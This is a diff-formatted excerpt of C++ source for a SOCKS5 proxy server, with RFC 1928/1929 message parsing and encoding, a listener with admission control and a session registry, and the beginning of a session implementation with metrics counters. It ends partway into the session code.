switch (r) {
|
||||
case Reply::Succeeded: return "succeeded";
|
||||
case Reply::GeneralFailure: return "general_failure";
|
||||
case Reply::NotAllowed: return "not_allowed";
|
||||
case Reply::NetworkUnreachable: return "network_unreachable";
|
||||
case Reply::HostUnreachable: return "host_unreachable";
|
||||
case Reply::ConnectionRefused: return "connection_refused";
|
||||
case Reply::TtlExpired: return "ttl_expired";
|
||||
case Reply::CommandNotSupported: return "command_not_supported";
|
||||
case Reply::AddressTypeNotSupported: return "addr_type_not_supported";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
const char *method_name(Method m) {
|
||||
switch (m) {
|
||||
case Method::NoAuth: return "none";
|
||||
case Method::Gssapi: return "gssapi";
|
||||
case Method::UserPass: return "userpass";
|
||||
case Method::None: return "unacceptable";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
Reply reply_for(const std::error_code &ec) {
|
||||
return static_cast<Reply>(socks5_reply_for(ec));
|
||||
}
|
||||
|
||||
bool Greeting::offers(Method m) const {
|
||||
for (Method have : methods) {
|
||||
if (have == m) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out) {
|
||||
if (len < 2) return {Status::NeedMore, 0};
|
||||
if (data[0] != kVersion) return {Status::Bad, 0};
|
||||
const size_t n = data[1];
|
||||
// NMETHODS == 0 is malformed: the client is required to offer at least one.
|
||||
if (n == 0) return {Status::Bad, 0};
|
||||
const size_t need = 2 + n;
|
||||
if (len < need) return {Status::NeedMore, 0};
|
||||
|
||||
out->methods.clear();
|
||||
out->methods.reserve(n);
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
out->methods.push_back(static_cast<Method>(data[2 + i]));
|
||||
}
|
||||
return {Status::Ok, need};
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encode_method_selection(Method m) {
|
||||
return {kVersion, static_cast<uint8_t>(m)};
|
||||
}
|
||||
|
||||
Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out) {
|
||||
if (len < 2) return {Status::NeedMore, 0};
|
||||
if (data[0] != kAuthVersion) return {Status::Bad, 0};
|
||||
const size_t ulen = data[1];
|
||||
// An empty username is permitted by the grammar (ULEN is 0..255) but can
|
||||
// never match a configured credential; letting it through keeps the parser
|
||||
// honest and lets the authenticator do the rejecting, in constant time.
|
||||
if (len < 2 + ulen + 1) return {Status::NeedMore, 0};
|
||||
const size_t plen = data[2 + ulen];
|
||||
const size_t need = 2 + ulen + 1 + plen;
|
||||
if (len < need) return {Status::NeedMore, 0};
|
||||
|
||||
out->username.assign(reinterpret_cast<const char *>(data + 2), ulen);
|
||||
out->password.assign(reinterpret_cast<const char *>(data + 3 + ulen), plen);
|
||||
return {Status::Ok, need};
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encode_userpass_reply(bool ok) {
|
||||
return {kAuthVersion, static_cast<uint8_t>(ok ? 0x00 : 0x01)};
|
||||
}
|
||||
|
||||
Decode decode_request(const uint8_t *data, size_t len, Request *out) {
|
||||
if (len < 3) return {Status::NeedMore, 0};
|
||||
if (data[0] != kVersion) return {Status::Bad, 0};
|
||||
// RSV must be 0x00. Being strict here costs nothing -- no real client sets
|
||||
// it -- and a non-zero byte is a good early signal that we are not actually
|
||||
// talking to a SOCKS5 client.
|
||||
if (data[2] != 0x00) return {Status::Bad, 0};
|
||||
|
||||
const auto cmd = static_cast<Command>(data[1]);
|
||||
switch (cmd) {
|
||||
case Command::Connect:
|
||||
case Command::Bind:
|
||||
case Command::UdpAssociate:
|
||||
break;
|
||||
default:
|
||||
// Deliberately not Bad: an unknown command still has a well-formed
|
||||
// address after it, and the session wants to parse that so it can send a
|
||||
// proper CommandNotSupported reply instead of a bare TCP reset.
|
||||
break;
|
||||
}
|
||||
|
||||
Endpoint target;
|
||||
const Decode d = decode_address(data + 3, len - 3, &target);
|
||||
if (d.status != Status::Ok) return {d.status, 0};
|
||||
|
||||
out->command = cmd;
|
||||
out->target = std::move(target);
|
||||
return {Status::Ok, 3 + d.used};
|
||||
}
|
||||
|
||||
void append_address(std::vector<uint8_t> *out, const Endpoint &ep) {
|
||||
// A default-constructed Endpoint is a *domain* of zero length, which is the
|
||||
// one thing decode_address refuses outright. Failure replies are built from
|
||||
// exactly that, so it has to fall through to the 0.0.0.0 encoding below
|
||||
// rather than emitting a field no client can parse.
|
||||
if (ep.is_domain() && !ep.domain().empty()) {
|
||||
const std::string &name = ep.domain();
|
||||
// Cannot happen for anything we decoded (ULEN is a byte), but this function
|
||||
// is also called with endpoints built elsewhere.
|
||||
const size_t n = name.size() > 255 ? 255 : name.size();
|
||||
out->push_back(static_cast<uint8_t>(AddrType::Domain));
|
||||
out->push_back(static_cast<uint8_t>(n));
|
||||
out->insert(out->end(), name.begin(), name.begin() + static_cast<long>(n));
|
||||
write_port(out, ep.port());
|
||||
return;
|
||||
}
|
||||
|
||||
const IpAddress &ip = ep.address();
|
||||
if (ip.is_v6()) {
|
||||
out->push_back(static_cast<uint8_t>(AddrType::Ipv6));
|
||||
out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 16);
|
||||
} else {
|
||||
// Covers both a real v4 address and a default-constructed (invalid) one,
|
||||
// which encodes as 0.0.0.0 -- what every client expects in a failure reply.
|
||||
out->push_back(static_cast<uint8_t>(AddrType::Ipv4));
|
||||
out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 4);
|
||||
}
|
||||
write_port(out, ep.port());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encode_reply(Reply rep, const Endpoint &bound) {
|
||||
std::vector<uint8_t> out;
|
||||
out.reserve(10);
|
||||
out.push_back(kVersion);
|
||||
out.push_back(static_cast<uint8_t>(rep));
|
||||
out.push_back(0x00); // RSV
|
||||
append_address(&out, bound);
|
||||
return out;
|
||||
}
|
||||
|
||||
bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out) {
|
||||
if (len < 4) return false;
|
||||
if (data[0] != 0x00 || data[1] != 0x00) return false;
|
||||
|
||||
Endpoint target;
|
||||
const Decode d = decode_address(data + 3, len - 3, &target);
|
||||
// NeedMore is as fatal as Bad for a datagram: there is no "more".
|
||||
if (d.status != Status::Ok) return false;
|
||||
|
||||
out->frag = data[2];
|
||||
out->target = std::move(target);
|
||||
out->header_len = 3 + d.used;
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encode_udp_datagram(const Endpoint &from,
|
||||
const uint8_t *payload, size_t len) {
|
||||
std::vector<uint8_t> out;
|
||||
out.reserve(10 + len);
|
||||
out.push_back(0x00);
|
||||
out.push_back(0x00);
|
||||
out.push_back(0x00); // FRAG
|
||||
append_address(&out, from);
|
||||
if (len > 0) out.insert(out.end(), payload, payload + len);
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,152 @@
|
||||
// RFC 1928 (SOCKS5) and RFC 1929 (username/password auth), as pure functions.
|
||||
//
|
||||
// Nothing here does I/O, allocates a session, or knows what an egress is. Every
|
||||
// function takes bytes and returns either a decoded message or "need more" /
|
||||
// "malformed". That separation is what makes the protocol layer exhaustively
|
||||
// testable: the fuzz-shaped cases -- a truncated domain length, a zero-length
|
||||
// name, an ATYP nobody has heard of -- are unit tests here rather than
|
||||
// something you hope the relay handles.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// The incremental-parse contract
|
||||
// ---------------------------------------------------------------------------
|
||||
// Every decoder returns a Decode:
|
||||
//
|
||||
// Status::Ok consumed `used` bytes, `out` is filled
|
||||
// Status::NeedMore the buffer is a valid prefix; call again with more
|
||||
// Status::Bad it cannot become valid no matter what follows; close
|
||||
//
|
||||
// NeedMore never says *how much* more. A caller that reads one byte at a time
|
||||
// still makes progress, and the parser never has to be trusted with a length it
|
||||
// derived from attacker-controlled input.
|
||||
#pragma once
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <system_error>
|
||||
#include <vector>
|
||||
|
||||
#include "common/endpoint.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
|
||||
constexpr uint8_t kVersion = 0x05;
|
||||
constexpr uint8_t kAuthVersion = 0x01; // RFC 1929 subnegotiation version
|
||||
|
||||
enum class Method : uint8_t {
|
||||
NoAuth = 0x00,
|
||||
Gssapi = 0x01,
|
||||
UserPass = 0x02,
|
||||
None = 0xFF, // "no acceptable methods"
|
||||
};
|
||||
|
||||
enum class Command : uint8_t {
|
||||
Connect = 0x01,
|
||||
Bind = 0x02,
|
||||
UdpAssociate = 0x03,
|
||||
};
|
||||
|
||||
// RFC 1928 §6 REP values.
|
||||
enum class Reply : uint8_t {
|
||||
Succeeded = 0x00,
|
||||
GeneralFailure = 0x01,
|
||||
NotAllowed = 0x02,
|
||||
NetworkUnreachable = 0x03,
|
||||
HostUnreachable = 0x04,
|
||||
ConnectionRefused = 0x05,
|
||||
TtlExpired = 0x06,
|
||||
CommandNotSupported = 0x07,
|
||||
AddressTypeNotSupported = 0x08,
|
||||
};
|
||||
|
||||
enum class AddrType : uint8_t {
|
||||
Ipv4 = 0x01,
|
||||
Domain = 0x03,
|
||||
Ipv6 = 0x04,
|
||||
};
|
||||
|
||||
const char *command_name(Command c);
|
||||
const char *reply_name(Reply r);
|
||||
const char *method_name(Method m);
|
||||
|
||||
// Maps our internal error onto a REP value. Thin wrapper over
|
||||
// ovg::socks5_reply_for so callers here do not need common/error.h.
|
||||
Reply reply_for(const std::error_code &ec);
|
||||
|
||||
enum class Status { Ok, NeedMore, Bad };
|
||||
|
||||
struct Decode {
|
||||
Status status = Status::NeedMore;
|
||||
size_t used = 0; // bytes consumed; only meaningful when status == Ok
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Client greeting: VER NMETHODS METHODS...
|
||||
// ---------------------------------------------------------------------------
|
||||
struct Greeting {
|
||||
std::vector<Method> methods;
|
||||
bool offers(Method m) const;
|
||||
};
|
||||
Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out);
|
||||
|
||||
// Server method selection: VER METHOD
|
||||
std::vector<uint8_t> encode_method_selection(Method m);
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// RFC 1929: VER ULEN UNAME PLEN PASSWD
|
||||
// ---------------------------------------------------------------------------
|
||||
struct UserPass {
|
||||
std::string username;
|
||||
std::string password;
|
||||
};
|
||||
Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out);
|
||||
|
||||
// VER STATUS; STATUS 0 means success and anything else means the client must
|
||||
// close (RFC 1929 §2).
|
||||
std::vector<uint8_t> encode_userpass_reply(bool ok);
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Request / reply: VER CMD RSV ATYP DST.ADDR DST.PORT
|
||||
// ---------------------------------------------------------------------------
|
||||
struct Request {
|
||||
Command command = Command::Connect;
|
||||
Endpoint target;
|
||||
};
|
||||
Decode decode_request(const uint8_t *data, size_t len, Request *out);
|
||||
|
||||
// A reply carrying BND.ADDR/BND.PORT. For a failure the address is ignored by
|
||||
// every client in practice, but RFC 1928 still requires a well-formed one, so
|
||||
// an empty endpoint is encoded as 0.0.0.0:0 rather than omitted.
|
||||
std::vector<uint8_t> encode_reply(Reply rep, const Endpoint &bound);
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// UDP request header (RFC 1928 §7): RSV RSV FRAG ATYP DST.ADDR DST.PORT DATA
|
||||
// ---------------------------------------------------------------------------
|
||||
struct UdpHeader {
|
||||
uint8_t frag = 0;
|
||||
Endpoint target;
|
||||
size_t header_len = 0; // where the payload starts
|
||||
};
|
||||
|
||||
// Unlike the stream decoders this one is all-or-nothing: a datagram is a
|
||||
// complete message or it is garbage, so there is no NeedMore.
|
||||
bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out);
|
||||
|
||||
// Prepends the header to `payload`, for a datagram going back to the client.
|
||||
// FRAG is always 0: we neither send nor accept fragments (docs/FEASIBILITY.md
|
||||
// §5.1).
|
||||
std::vector<uint8_t> encode_udp_datagram(const Endpoint &from,
|
||||
const uint8_t *payload, size_t len);
|
||||
|
||||
// Exposed for tests and for encode_reply/encode_udp_datagram: appends
|
||||
// ATYP + address + port.
|
||||
void append_address(std::vector<uint8_t> *out, const Endpoint &ep);
|
||||
|
||||
// Longest possible address field: ATYP + 255-byte domain + length + port.
|
||||
constexpr size_t kMaxAddressBytes = 1 + 1 + 255 + 2;
|
||||
// A SOCKS5 request can never exceed this, which is what bounds the handshake
|
||||
// buffer: an attacker cannot make us hold more by claiming a longer name.
|
||||
constexpr size_t kMaxRequestBytes = 3 + kMaxAddressBytes;
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,235 @@
|
||||
#include "socks5/server.h"
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "socks5";
|
||||
|
||||
metrics::Counter *m_accepted() {
|
||||
static auto *c = metrics::counter("ovg_socks5_sessions_total",
|
||||
"Accepted SOCKS5 connections");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_rejected() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_socks5_rejected_total",
|
||||
"Connections refused by max_sessions admission control");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_no_egress() {
|
||||
static auto *c = metrics::counter("ovg_socks5_no_egress_total",
|
||||
"Connections refused: no usable tunnel");
|
||||
return c;
|
||||
}
|
||||
metrics::Gauge *g_active() {
|
||||
static auto *g =
|
||||
metrics::gauge("ovg_socks5_sessions_active", "Live SOCKS5 sessions");
|
||||
return g;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
Server::Server(asio::io_context &io, const Config &cfg, EgressProvider acquire)
|
||||
: io_(io),
|
||||
cfg_(cfg.socks5),
|
||||
acquire_(std::move(acquire)),
|
||||
accept_strand_(asio::make_strand(io)),
|
||||
acceptor_(accept_strand_),
|
||||
auth_(cfg.socks5.users, cfg.socks5.require_auth) {
|
||||
auto opts = std::make_shared<SessionOptions>();
|
||||
opts->socks5 = cfg.socks5;
|
||||
opts->retry_zero_progress = cfg.switching.retry_zero_progress;
|
||||
opts->rehome_udp = cfg.switching.rehome_udp;
|
||||
opts_ = std::move(opts);
|
||||
}
|
||||
|
||||
Server::~Server() { stop(); }
|
||||
|
||||
bool Server::start(std::string *err) {
|
||||
std::error_code ec;
|
||||
const auto addr = asio::ip::make_address(cfg_.listen_address, ec);
|
||||
if (ec) {
|
||||
*err = "socks5.listen_address is not an IP address: " + cfg_.listen_address;
|
||||
return false;
|
||||
}
|
||||
const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port);
|
||||
|
||||
acceptor_.open(ep.protocol(), ec);
|
||||
if (ec) {
|
||||
*err = "cannot open listening socket: " + ec.message();
|
||||
return false;
|
||||
}
|
||||
acceptor_.set_option(asio::socket_base::reuse_address(true), ec);
|
||||
acceptor_.bind(ep, ec);
|
||||
if (ec) {
|
||||
*err = "cannot bind " + ep.address().to_string() + ":" +
|
||||
std::to_string(ep.port()) + ": " + ec.message();
|
||||
return false;
|
||||
}
|
||||
// A deep backlog matters here: 1000 clients reconnecting after a switch
|
||||
// arrive in a burst, and the default of 5 would turn that into connection
|
||||
// refused.
|
||||
acceptor_.listen(asio::socket_base::max_listen_connections, ec);
|
||||
if (ec) {
|
||||
*err = "cannot listen: " + ec.message();
|
||||
return false;
|
||||
}
|
||||
port_ = acceptor_.local_endpoint(ec).port();
|
||||
|
||||
LOG_INFO(kMod, "listening on {}:{} (auth {}, max_sessions {}, udp {})",
|
||||
ep.address().to_string(), port_,
|
||||
cfg_.require_auth ? "required" : "optional", cfg_.max_sessions,
|
||||
cfg_.udp_associate_enabled ? "enabled" : "disabled");
|
||||
|
||||
do_accept();
|
||||
return true;
|
||||
}
|
||||
|
||||
void Server::do_accept() {
|
||||
if (stopping_.load(std::memory_order_acquire)) return;
|
||||
|
||||
// Accepting straight onto a fresh strand gives the session a socket whose
|
||||
// executor already is its strand -- see socks5/session.h.
|
||||
acceptor_.async_accept(
|
||||
asio::make_strand(io_),
|
||||
[this](const std::error_code &ec, ClientSocket sock) {
|
||||
if (ec) {
|
||||
if (ec == asio::error::operation_aborted) return;
|
||||
LOG_WARN(kMod, "accept failed: {}", ec.message());
|
||||
// An accept error is usually per-connection (EMFILE, ECONNABORTED).
|
||||
// Give up the listener only if it was closed under us.
|
||||
if (acceptor_.is_open()) do_accept();
|
||||
return;
|
||||
}
|
||||
|
||||
if (stopping_.load(std::memory_order_acquire)) {
|
||||
std::error_code ignored;
|
||||
sock.close(ignored);
|
||||
return;
|
||||
}
|
||||
|
||||
// Admission control, before anything else allocates.
|
||||
if (active_.load(std::memory_order_relaxed) >=
|
||||
static_cast<int64_t>(cfg_.max_sessions)) {
|
||||
rejected_.fetch_add(1, std::memory_order_relaxed);
|
||||
m_rejected()->inc();
|
||||
LOG_WARN(kMod, "refusing connection: {} sessions already live",
|
||||
cfg_.max_sessions);
|
||||
std::error_code ignored;
|
||||
sock.close(ignored);
|
||||
do_accept();
|
||||
return;
|
||||
}
|
||||
|
||||
egress::EgressPtr eg = acquire_ ? acquire_() : nullptr;
|
||||
if (!eg) {
|
||||
// Closing without a SOCKS5 reply is deliberate: we have not read the
|
||||
// greeting yet, so there is no negotiated framing to reply in.
|
||||
no_egress_.fetch_add(1, std::memory_order_relaxed);
|
||||
m_no_egress()->inc();
|
||||
LOG_WARN(kMod, "refusing connection: no usable egress");
|
||||
std::error_code ignored;
|
||||
sock.close(ignored);
|
||||
do_accept();
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t id;
|
||||
SessionPtr s;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
id = next_id_++;
|
||||
s = Session::create(id, std::move(sock), opts_, &auth_, std::move(eg),
|
||||
[this](uint64_t sid) { reap(sid); });
|
||||
sessions_.emplace(id, s);
|
||||
}
|
||||
active_.fetch_add(1, std::memory_order_relaxed);
|
||||
g_active()->add(1);
|
||||
accepted_.fetch_add(1, std::memory_order_relaxed);
|
||||
m_accepted()->inc();
|
||||
|
||||
s->start();
|
||||
do_accept();
|
||||
});
|
||||
}
|
||||
|
||||
void Server::reap(uint64_t id) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (sessions_.erase(id) == 0) return; // already reaped
|
||||
}
|
||||
active_.fetch_sub(1, std::memory_order_relaxed);
|
||||
g_active()->sub(1);
|
||||
}
|
||||
|
||||
void Server::stop() {
|
||||
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
|
||||
|
||||
asio::post(accept_strand_, [this] {
|
||||
std::error_code ignored;
|
||||
acceptor_.close(ignored);
|
||||
});
|
||||
|
||||
for (const auto &s : snapshot()) s->force_close("server shutting down");
|
||||
LOG_INFO(kMod, "listener stopped");
|
||||
}
|
||||
|
||||
std::vector<SessionPtr> Server::snapshot() const {
|
||||
std::vector<SessionPtr> out;
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
out.reserve(sessions_.size());
|
||||
for (const auto &kv : sessions_) {
|
||||
if (auto s = kv.second.lock()) out.push_back(std::move(s));
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
void Server::on_promote(const egress::EgressPtr &old_e,
|
||||
const egress::EgressPtr &new_e) {
|
||||
if (!old_e || !new_e) return;
|
||||
// Offer, do not command: each session decides on its own strand whether it is
|
||||
// actually re-homeable. Everything that declines stays on the old egress and
|
||||
// drains normally.
|
||||
const auto live = snapshot();
|
||||
for (const auto &s : live) s->try_rehome(old_e, new_e);
|
||||
LOG_INFO(kMod, "offered {} live session(s) a move from {} to {}", live.size(),
|
||||
old_e->label(), new_e->label());
|
||||
}
|
||||
|
||||
void Server::on_drain_expired(const egress::EgressPtr &e) {
|
||||
if (!e) return;
|
||||
size_t n = 0;
|
||||
for (const auto &s : snapshot()) {
|
||||
s->close_if_on(e, "drain grace expired");
|
||||
++n;
|
||||
}
|
||||
LOG_WARN(kMod, "drain window for {} expired; closing whatever is left of {} "
|
||||
"session(s)",
|
||||
e->label(), n);
|
||||
}
|
||||
|
||||
Server::Stats Server::stats() const {
|
||||
Stats s;
|
||||
s.accepted = accepted_.load(std::memory_order_relaxed);
|
||||
s.rejected = rejected_.load(std::memory_order_relaxed);
|
||||
s.no_egress = no_egress_.load(std::memory_order_relaxed);
|
||||
s.active = active_.load(std::memory_order_relaxed);
|
||||
s.auth_ok = auth_.successes();
|
||||
s.auth_failed = auth_.failures();
|
||||
return s;
|
||||
}
|
||||
|
||||
std::vector<Session::Info> Server::sessions(size_t limit) const {
|
||||
std::vector<Session::Info> out;
|
||||
for (const auto &s : snapshot()) {
|
||||
if (out.size() >= limit) break;
|
||||
out.push_back(s->info());
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,108 @@
|
||||
// The SOCKS5 listener: accept, admit, and own the live sessions.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Admission control is the only thing standing between us and the OOM killer
|
||||
// ---------------------------------------------------------------------------
|
||||
// lwIP allocates its PCBs and pbufs from a heap we do not control and cannot
|
||||
// gracefully fail (docs/FEASIBILITY.md §4.2). Once a connection is accepted,
|
||||
// every layer below assumes it can allocate. So the count is enforced *at
|
||||
// accept*, before a Session exists and before a single byte is read: over the
|
||||
// limit, the socket is closed immediately and counted. A rejection is cheap; a
|
||||
// half-built session that dies inside the netstack is not.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why there is a session registry at all
|
||||
// ---------------------------------------------------------------------------
|
||||
// Draining does not need one -- the egress reference count is the drain
|
||||
// (egress/egress.h). But three things do:
|
||||
//
|
||||
// * re-homing at promotion, which has to reach each session to offer it
|
||||
// * force-closing the stragglers when a drain window expires
|
||||
// * telling an operator what is actually running, on /status
|
||||
//
|
||||
// It holds weak_ptrs and each session removes itself on close, so the registry
|
||||
// never keeps a session alive and never grows unbounded.
|
||||
//
|
||||
// Threading: the acceptor runs on its own strand; each session runs on its own.
|
||||
// The registry has a mutex, taken only on accept, on close, and on the two
|
||||
// switch hooks -- never on the data path.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/strand_deleter.h"
|
||||
#include "egress/egress.h"
|
||||
#include "socks5/auth.h"
|
||||
#include "socks5/session.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
|
||||
class Server {
|
||||
public:
|
||||
// Returns the egress a new session should be pinned to, or nullptr if there
|
||||
// is none right now. A function rather than an EgressManager* so the server
|
||||
// can be tested against a DirectEgress with no manager, node list, or tunnel.
|
||||
using EgressProvider = std::function<egress::EgressPtr()>;
|
||||
|
||||
Server(asio::io_context &io, const Config &cfg, EgressProvider acquire);
|
||||
~Server();
|
||||
|
||||
bool start(std::string *err);
|
||||
void stop();
|
||||
|
||||
// Hooks for EgressManager. Both are safe to call from the manager's strand.
|
||||
void on_promote(const egress::EgressPtr &old_e,
|
||||
const egress::EgressPtr &new_e);
|
||||
void on_drain_expired(const egress::EgressPtr &e);
|
||||
|
||||
struct Stats {
|
||||
uint64_t accepted = 0;
|
||||
uint64_t rejected = 0;
|
||||
uint64_t no_egress = 0;
|
||||
int64_t active = 0;
|
||||
uint64_t auth_ok = 0;
|
||||
uint64_t auth_failed = 0;
|
||||
};
|
||||
Stats stats() const;
|
||||
|
||||
// Bounded so an operator cannot ask for a 1000-entry JSON blob by accident.
|
||||
std::vector<Session::Info> sessions(size_t limit) const;
|
||||
|
||||
Authenticator &auth() { return auth_; }
|
||||
// Actual bound port; differs from the configured one when it was 0.
|
||||
uint16_t port() const { return port_; }
|
||||
|
||||
private:
|
||||
void do_accept();
|
||||
void reap(uint64_t id);
|
||||
std::vector<SessionPtr> snapshot() const;
|
||||
|
||||
asio::io_context &io_;
|
||||
Socks5Config cfg_;
|
||||
EgressProvider acquire_;
|
||||
Strand accept_strand_;
|
||||
asio::ip::tcp::acceptor acceptor_;
|
||||
Authenticator auth_;
|
||||
SessionOptionsPtr opts_;
|
||||
uint16_t port_ = 0;
|
||||
std::atomic<bool> stopping_{false};
|
||||
|
||||
mutable std::mutex mu_;
|
||||
std::unordered_map<uint64_t, std::weak_ptr<Session>> sessions_;
|
||||
uint64_t next_id_ = 1;
|
||||
|
||||
std::atomic<uint64_t> accepted_{0}, rejected_{0}, no_egress_{0};
|
||||
std::atomic<int64_t> active_{0};
|
||||
};
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,841 @@
|
||||
#include "socks5/session.h"
|
||||
|
||||
#include <cstring>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "socks5";
|
||||
|
||||
metrics::Counter *m_handshake_failed() {
|
||||
static auto *c = metrics::counter("ovg_socks5_handshake_failed_total",
|
||||
"Sessions that never reached a request");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_auth_failed() {
|
||||
static auto *c = metrics::counter("ovg_socks5_auth_failed_total",
|
||||
"Rejected username/password attempts");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_connect_failed() {
|
||||
static auto *c = metrics::counter("ovg_socks5_connect_failed_total",
|
||||
"CONNECT requests the egress could not fulfil");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_timeout_handshake() {
|
||||
static auto *c = metrics::counter("ovg_socks5_handshake_timeout_total",
|
||||
"Sessions closed by the handshake timer");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_timeout_connect() {
|
||||
static auto *c = metrics::counter("ovg_socks5_connect_timeout_total",
|
||||
"Sessions closed by the connect timer");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_timeout_idle() {
|
||||
static auto *c = metrics::counter("ovg_socks5_idle_timeout_total",
|
||||
"Sessions closed by the idle timer");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_bytes_up() {
|
||||
static auto *c = metrics::counter("ovg_socks5_bytes_up_total",
|
||||
"TCP relay bytes client -> egress");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_bytes_down() {
|
||||
static auto *c = metrics::counter("ovg_socks5_bytes_down_total",
|
||||
"TCP relay bytes egress -> client");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_rehomed() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_socks5_rehomed_total",
|
||||
"Zero-progress sessions transparently re-dialled on a new egress");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_rehome_failed() {
|
||||
static auto *c = metrics::counter("ovg_socks5_rehome_failed_total",
|
||||
"Re-dial attempts that lost the session");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_udp_assoc() {
|
||||
static auto *c = metrics::counter("ovg_socks5_udp_associations_total",
|
||||
"UDP ASSOCIATE requests granted");
|
||||
return c;
|
||||
}
|
||||
metrics::Gauge *g_udp_active() {
|
||||
static auto *g = metrics::gauge("ovg_socks5_udp_active",
|
||||
"Live UDP associations");
|
||||
return g;
|
||||
}
|
||||
|
||||
// Enough for the largest possible greeting (2 + 255) or request.
|
||||
constexpr size_t kHandshakeBufBytes = 512;
|
||||
|
||||
} // namespace
|
||||
|
||||
const char *session_state_name(SessionState s) {
|
||||
switch (s) {
|
||||
case SessionState::Handshake: return "handshake";
|
||||
case SessionState::Auth: return "auth";
|
||||
case SessionState::Request: return "request";
|
||||
case SessionState::Connecting: return "connecting";
|
||||
case SessionState::Established: return "established";
|
||||
case SessionState::Udp: return "udp";
|
||||
case SessionState::Closed: return "closed";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
std::shared_ptr<Session> Session::create(uint64_t id, ClientSocket sock,
|
||||
SessionOptionsPtr opts,
|
||||
const Authenticator *auth,
|
||||
egress::EgressPtr egress,
|
||||
CloseHandler on_closed) {
|
||||
return std::shared_ptr<Session>(new Session(id, std::move(sock),
|
||||
std::move(opts), auth,
|
||||
std::move(egress),
|
||||
std::move(on_closed)));
|
||||
}
|
||||
|
||||
Session::Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts,
|
||||
const Authenticator *auth, egress::EgressPtr egress,
|
||||
CloseHandler on_closed)
|
||||
: id_(id),
|
||||
client_(std::move(sock)),
|
||||
strand_(client_.get_executor()),
|
||||
timer_(strand_),
|
||||
opts_(std::move(opts)),
|
||||
auth_(auth),
|
||||
on_closed_(std::move(on_closed)),
|
||||
egress_(std::move(egress)),
|
||||
created_(Clock::now()) {
|
||||
const size_t bufsz = opts_->socks5.relay_buffer_size;
|
||||
up_buf_.resize(bufsz < kHandshakeBufBytes ? kHandshakeBufBytes : bufsz);
|
||||
down_buf_.resize(bufsz);
|
||||
|
||||
std::error_code ec;
|
||||
const auto peer = client_.remote_endpoint(ec);
|
||||
client_str_ = ec ? "?" : peer.address().to_string() + ":" +
|
||||
std::to_string(peer.port());
|
||||
egress_label_ = egress_ ? egress_->label() : "-";
|
||||
}
|
||||
|
||||
Session::~Session() {
|
||||
// Nothing to do: every owned resource closes itself. The handler is fired
|
||||
// from finish() rather than here so that the server's registry drops us
|
||||
// promptly instead of at some arbitrary later reference release.
|
||||
}
|
||||
|
||||
void Session::start() {
|
||||
